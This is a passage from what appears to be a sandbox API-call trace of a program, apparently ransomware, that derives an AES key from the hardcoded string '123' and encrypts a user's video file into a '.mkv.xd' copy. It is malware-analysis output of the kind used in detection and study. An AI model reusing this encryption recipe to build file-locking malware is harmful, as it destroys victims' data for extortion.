(hInternet=0xcc0004) returned 1 [0068.232] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.232] CloseHandle (hObject=0x0) returned 0 [0068.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.232] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.233] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.233] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.233] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.233] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.233] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.233] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.233] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.233] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.233] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.233] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.233] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.233] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.234] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.237] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.237] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.237] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.237] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.237] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.237] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0068.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.238] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.239] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.239] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.239] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.239] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.239] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.239] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.239] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.239] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.240] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.240] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.240] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.240] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.241] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.241] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.241] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.241] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.241] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.241] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.242] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.242] CryptHashData (hHash=0x164c4f0, pbData=0x1629700, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.242] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.242] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.242] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.242] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.242] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.242] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.243] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.243] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.243] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.243] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.243] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.243] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0068.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jj5ojsd4qqtv6c.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.244] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.244] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.245] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jj5ojsd4qqtv6c.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.245] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.245] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.245] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.246] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.247] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.248] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x48bc, lpOverlapped=0x0) returned 1 [0068.248] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.251] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.251] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.251] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.251] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.251] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.251] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.251] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.251] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.252] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.252] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, 